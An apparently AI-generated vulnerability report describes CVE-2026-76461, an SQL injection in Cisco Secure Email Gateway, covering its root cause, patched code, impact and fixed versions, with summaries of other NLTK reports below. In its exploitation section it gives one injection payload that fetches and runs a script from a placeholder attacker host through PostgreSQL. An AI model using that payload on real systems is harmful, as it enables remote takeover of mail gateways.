CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-76461

CVE-2026-76461: SQL Injection to Remote Code Execution in Cisco Secure Email Gateway

Amit Schendel
Amit Schendel
Senior Security Researcher

Sep 17, 2026·5 min read·102 visits

Executive Summary (TL;DR)

An unauthenticated remote SQL injection vulnerability in Cisco Secure Email Gateway allows attackers to execute arbitrary system commands as root via crafted SMTP traffic.

CVE-2026-76461 is a critical, unauthenticated, remotely exploitable SQL Injection (SQLi) vulnerability in the email parsing engine of Cisco AsyncOS Software for Cisco Secure Email Gateway (SEG). An unauthenticated remote attacker can exploit this vulnerability by transmitting a specially crafted email message containing malicious SQL statements directly through an affected gateway.

Vulnerability Overview

Cisco Secure Email Gateway systems utilize Cisco AsyncOS Software to process and filter incoming mail traffic at the SMTP gateway boundary. The core processing pipeline parses incoming message headers, body parts, and metadata to evaluate spam scores, compliance rules, and security policies.

During this parsing process, the gateway database acts as a storage and lookup engine for transactional logs and transient email metadata. The SQL injection vulnerability, tracked as CVE-2026-76461, exists in the backend database logging logic of this processing pipeline.

An attacker can trigger this vulnerability remotely without authentication by transmitting a crafted SMTP message containing malicious payloads inside specific email headers. Successful exploitation allows the execution of arbitrary SQL commands within the backend database management system.

Root Cause Analysis

The root cause of CVE-2026-76461 is the improper sanitization of user-supplied data parsed from incoming email headers before incorporation into SQL statements. When the email parsing daemon extracts message attributes, it passes these values directly to dynamic SQL queries rather than using parameterized queries or prepared statements.

The parsing engine processes fields such as the sender address, recipient list, or customized headers and embeds them directly into SQL command strings. An input string containing single quote characters can prematurely terminate the SQL string literal, allowing an attacker to insert arbitrary database operations.

The underlying database engine is PostgreSQL. Because the application daemon runs with high privileges to manage system functions, the database service also runs with elevated system capabilities, creating a direct path to operating system execution.

Code Analysis

To illustrate the structural weakness, consider the conceptual representation of the vulnerable SQL query generation logic in Cisco AsyncOS. The application constructs queries dynamically using string concatenation rather than binding variables securely.

# Vulnerable Implementation
# User-controlled header values are directly formatted into the SQL query string
query = "INSERT INTO mail_metadata (sender, subject, recipient) VALUES ('%s', '%s', '%s')" % (sender_val, subject_val, recipient_val)
cursor.execute(query)

The patch replaces this dynamic query building with prepared statements using parameterized place-holders. This architectural modification ensures that the database driver treats input values strictly as data literals rather than executable SQL syntax.

# Patched Implementation
# Input values are passed separately from the SQL statement template
query = "INSERT INTO mail_metadata (sender, subject, recipient) VALUES (%s, %s, %s)"
cursor.execute(query, (sender_val, subject_val, recipient_val))

Exploitation Methodology

Exploitation of CVE-2026-76461 does not require prior authentication or access to the administrative management interface. The vector is the standard SMTP delivery port, typically TCP/25, which must be exposed to receive external mail.

An attacker constructs a specially crafted SMTP message where one of the parsed metadata fields, such as the subject or a custom header, contains SQL command separators and administrative SQL directives. The database backend handles these parsed elements sequentially during message classification.

-- Conceptual SQL Injection payload structure executing a system shell
'; COPY (SELECT 1) TO PROGRAM 'curl -s http://attacker.com/payload | bash'; --

The PostgreSQL COPY ... TO PROGRAM directive allows database administrators to pipe data directly to an operating system command shell. Because the database process executes with elevated permissions on the FreeBSD-based AsyncOS platform, the shell process runs with root privileges, leading to complete system compromise.

Impact Assessment

Successful exploitation of this vulnerability yields complete control over the affected Cisco Secure Email Gateway appliance. The attacker can execute arbitrary operating system commands with root privileges, bypassing all access control mechanisms.

With root access, an adversary can intercept, modify, or block email traffic passing through the gateway. Attackers can extract confidential data, steal credentials, and use the compromised gateway to launch internal network attacks or distribute phishing messages.

The vulnerability is classified as critical with a CVSS v3.1 base score of 9.8. Its addition to the CISA Known Exploited Vulnerabilities catalog reflects active exploitation by threat groups, underscoring the urgent need for defensive mitigation.

Mitigation and Remediation

There are no temporary workarounds or configuration changes that mitigate this vulnerability. Security administrators must apply the designated software updates provided by Cisco to remediate the underlying weakness.

Organizations must update their Cisco AsyncOS Software to one of the fixed releases: 15.5.5-014 or later, 16.0.4-302, or 16.5.0-780. In virtual environments, if a compromise is suspected, administrators should redeploy a clean virtual machine instance using a patched release.

After upgrading the firmware, all credentials, SSH keys, and cryptographic certificates associated with the gateway should be rotated. Legitimate administrative configurations should be audited to verify that no malicious persistence mechanisms were established during the period of vulnerability.

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
2.01%
Top 20% most exploited

Affected Systems

Cisco Secure Email Gateway (Physical Hardware Appliances: C170, C195, C380, C390, C395, C680, C690, C690X, C695)Cisco Secure Email Gateway Virtual (C100V, C300V, C600V)Cisco Content Security Management Appliance (M170)

Affected Versions Detail

Product
Affected Versions
Fixed Version
AsyncOS Software for Cisco Secure Email Gateway
Cisco
< 15.5.5-01415.5.5-014
AsyncOS Software for Cisco Secure Email Gateway
Cisco
16.0.0 to < 16.0.4-30216.0.4-302
AsyncOS Software for Cisco Secure Email Gateway
Cisco
16.5.0 < 16.5.0-78016.5.0-780
AttributeDetail
CWE IDCWE-89
Attack VectorNetwork
CVSS Score9.8 (Critical)
CISA KEV StatusListed (September 14, 2026)
Exploit StatusActive exploitation in the wild
PlatformCisco AsyncOS (FreeBSD-based)

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1203Exploitation for Client Execution
Execution
T1068Exploitation for Privilege Escalation
Privilege Escalation
CWE-89
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The software constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream database.

References & Sources

  • [1]Cisco Security Advisory: Cisco Secure Email Gateway SQL Injection Vulnerability
  • [2]NVD - CVE-2026-76461
  • [3]CISA Known Exploited Vulnerabilities Catalog
  • [4]CVE-2026-76461 Detection Kit GitHub Repository
  • [5]CVE-2026-76461 GitHub Analysis

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•36 minutes ago•CVE-2026-126297
7.5

CVE-2026-126297: Algorithmic Complexity Denial of Service in NLTK ConllCorpusReader

CVE-2026-126297 (GHSA-v8f3-6phw-6mh9) is an uncontrolled resource consumption and algorithmic complexity vulnerability in the Natural Language Toolkit (NLTK) prior to version 3.10.4. Located in the Semantic Role Labeling (SRL) parser within `nltk/corpus/reader/conll.py`, the flaw allows an attacker to trigger quadratic O(N^2) CPU processing overhead by providing crafted CoNLL-formatted corpus inputs containing decoy span columns or nested full-width verb spans. Applications parsing untrusted linguistic corpora can experience prolonged CPU exhaustion and application-level Denial of Service (DoS).

Amit Schendel
Amit Schendel
1 views•12 min read
•about 2 hours ago•CVE-2026-126298
7.5

CVE-2026-126298: Quadratic Algorithmic Complexity Denial of Service in NLTK Tree.chomsky_normal_form

CVE-2026-126298 (also tracked as GHSA-r53h-rw34-8h97) is an algorithmic complexity Denial of Service (DoS) vulnerability in the Natural Language Toolkit (NLTK) Python library affecting all versions prior to 3.10.4. The vulnerability resides in the nltk.tree.transforms.chomsky_normal_form function and its corresponding public method Tree.chomsky_normal_form(). When transforming a parse tree into Chomsky Normal Form using the default right-factoring strategy, the function repeatedly invokes list.pop(0) inside a loop iterating over all children of a node. In CPython, removing the initial element of a standard list requires an O(N) memory shift operation, causing the overall binarization algorithm to degrade to O(N^2) quadratic time complexity relative to the width of a node. Furthermore, converting horizontal node width into vertical tree depth bypasses initial parsing depth bounds, triggering subsequent stack exhaustion (RecursionError) when recursive methods traverse the mutated structure. Unauthenticated remote attackers who can submit bracketed tree strings to applications invoking this transformation can exhaust single-threaded CPU resources or induce unhandled application exceptions.

Alon Barad
Alon Barad
3 views•12 min read
•about 3 hours ago•CVE-2026-126299
7.5

CVE-2026-126299: Quadratic Algorithmic Complexity Denial of Service in NLTK CCG Lexicon Parser

An algorithmic complexity vulnerability (CWE-407) in the Natural Language Toolkit (NLTK) before version 3.10.4 allows remote unauthenticated attackers to cause a denial of service via crafted Combinatory Categorial Grammar (CCG) lexicon strings. The parser in nltk.ccg.lexicon.fromstring performs repeated immutable string slicing, concatenation, and regex tail capturing, resulting in O(n^2) CPU consumption when processing wide, flat category definitions.

Alon Barad
Alon Barad
4 views•10 min read
•about 4 hours ago•CVE-2026-126295
7.1

CVE-2026-126295: Path Traversal and Unconfined File Access in NLTK BllipParser

CVE-2026-126295 (also tracked as GHSA-fg9w-wfp5-j933) is a path confinement bypass vulnerability in the Natural Language Toolkit (NLTK) affecting versions 3.10.0 prior to 3.10.4. The flaw resides in nltk/parse/bllip.py within the BllipParser class and its factory method BllipParser.from_unified_model_dir(). Unlike sibling tool wrappers in NLTK that enforce data-root confinement via the nltk.pathsec module, BllipParser passes caller-supplied filesystem paths directly into the third-party bllipparser native C extension without validation. When an application passes untrusted input as model paths or directories to BllipParser, an attacker can force the native extension to open arbitrary files on the local filesystem. This leads to information disclosure through parser diagnostic oracles, local model tampering via shared directories, and denial of service by hanging worker threads on blocking special files (such as FIFOs or device nodes) or exhausting memory via oversized files.

Amit Schendel
Amit Schendel
2 views•11 min read
•about 5 hours ago•CVE-2026-126300
5.3

CVE-2026-126300: Algorithmic Complexity Denial of Service in NLTK TreebankWordTokenizer.span_tokenize

CVE-2026-126300 (GHSA-ffr9-mgrr-wcvr) is an inefficient algorithmic complexity vulnerability (CWE-407) in the Natural Language Toolkit (NLTK) Python library affecting versions 3.2.5 prior to 3.10.4. The flaw resides in the quote-restoration routine of TreebankWordTokenizer.span_tokenize and NLTKWordTokenizer.span_tokenize, where repeated calls to list.pop(0) over matched quote tokens introduce quadratic O(n^2) time complexity. An unauthenticated remote attacker who supplies input containing long sequences of double-quote characters can exhaust CPU resources and degrade service availability.

Amit Schendel
Amit Schendel
3 views•10 min read
•about 6 hours ago•GHSA-GPWC-27CW-RH9R
5.3

CVE-2026-126301: Quadratic CPU Exhaustion in NLTK LegalitySyllableTokenizer

The Natural Language Toolkit (NLTK) versions 3.6 through 3.10.3 contain an algorithmic complexity vulnerability in the LegalitySyllableTokenizer.tokenize method. When processing tokens composed of continuous runs of vowels, an unguarded string reversal and set membership lookup loop executes in quadratic time relative to the input token length. Remote attackers capable of submitting arbitrary text to applications utilizing this tokenizer can trigger sustained single-core CPU exhaustion and application-level denial of service.

Amit Schendel
Amit Schendel
5 views•10 min read